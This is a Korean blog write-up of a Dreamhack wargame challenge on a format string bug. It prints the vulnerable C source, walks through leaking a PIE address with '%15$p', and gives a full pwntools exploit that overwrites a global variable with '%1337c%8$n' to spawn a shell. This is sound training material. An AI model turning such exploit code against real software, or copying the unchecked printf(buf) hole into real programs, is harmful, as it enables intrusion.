Format String Bug
Description Exploit Tech: Format String Bug에서 실습하는 문제입니다. 23.11 update binary updated Dockerfile is added to the attatchment
dreamhack.io
문제 분석
주어진 파일을 실행시키면 입력한 값을 그대로 출력해준다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
|
cs |
c코드를 읽어보니,
get_string함수에서 buf를 받고, 이후 buf를 printf 함수의 인자로 받아 출력해준다.
이후 전역변수로 선언된 changeme의 값이 1337과 같다면 system(”/bin/sh”)를 호출한다.
get_string 함수에서는 취약점이 보이지 않고,
printf(buf) 이 부분에서 changeme 변수를 조작할 수 있을 것이다.
Exploit
그러려면 먼저 changeme 변수가 위치한 주소를 알아야하는데,
PIE가 걸려있어 주소가 랜덤하게 매핑된다.
그렇기에 PIE가 매핑된 주소를 먼저 찾고, 이후 changeme의 주소를 계산해주어야한다.
이를 위해 먼저 printf가 실행되기 전에 break를 걸고 파일을 실행시켜보았다.
현재 rsp를 살펴보니, rsp + 0x48부분에 0x55555555293의 값이 들어있는 것이 보인다.
해당 부분은 vmmap으로 봤을 때 해당 부분은 fsb_overwrite가 매핑된 영역에 포함되는 주소이므로 이 주소를 이용하여 PIE의 베이스 주소를 구할 수 있다.
이를 통해 오프셋은 0x1293임을 알 수 있다.
해당 주소를 화면에 출력해야하는데,
rsp + 0x48이므로
1 = rsi
2 = rdx
3 = rcx
4 = r8
5 = r9
6 = rsp
7 = rsp + 0x8
…
이므로 rsp + 0x48은 15번째 인자임을 알 수 있고,
%15$p로 읽을 수 있다.
이를 입력한 후 출력된 값에서 0x1293을 빼면 PIE 베이스 주소가 되고,
이를 changeme 오프셋에 더해주면 changeme의 주소를 구할 수 있다.
1
2
3
4
5
6
|
changeme = e.symbols["changeme"]
p.sendline("%15$p")
leak = int(p.recvline()[:-1], 16)
pie_base = leak - 0x1293
changeme_addr = changeme + pie_base
|
cs |
그리고 changeme의 값을 1337로 바꾸어야하는데,
현재는 0x20크기만큼만 입력받으므로 1337 바이트의 문자열을 입력할 수 없다.
그러므로
1
|
"%1337c"
|
cs |
위의 포맷을 사용하여 1337 바이트를 여백으로 채우면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import *
p=process("./fsb_overwrite")
e=ELF("./fsb_overwrite")
changeme = e.symbols["changeme"]
p.sendline("%15$p")
leak = int(p.recvline()[:-1], 16)
pie_base = leak - 0x1293
changeme_addr = changeme + pie_base
payload = b"%1337c%8$n".ljust(16)
payload += p64(changeme_addr)
p.sendline(payload)
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
basic_exploitation_001 (0) | 2024.01.18 |
---|---|
out of bound (0) | 2024.01.18 |
hook (0) | 2024.01.18 |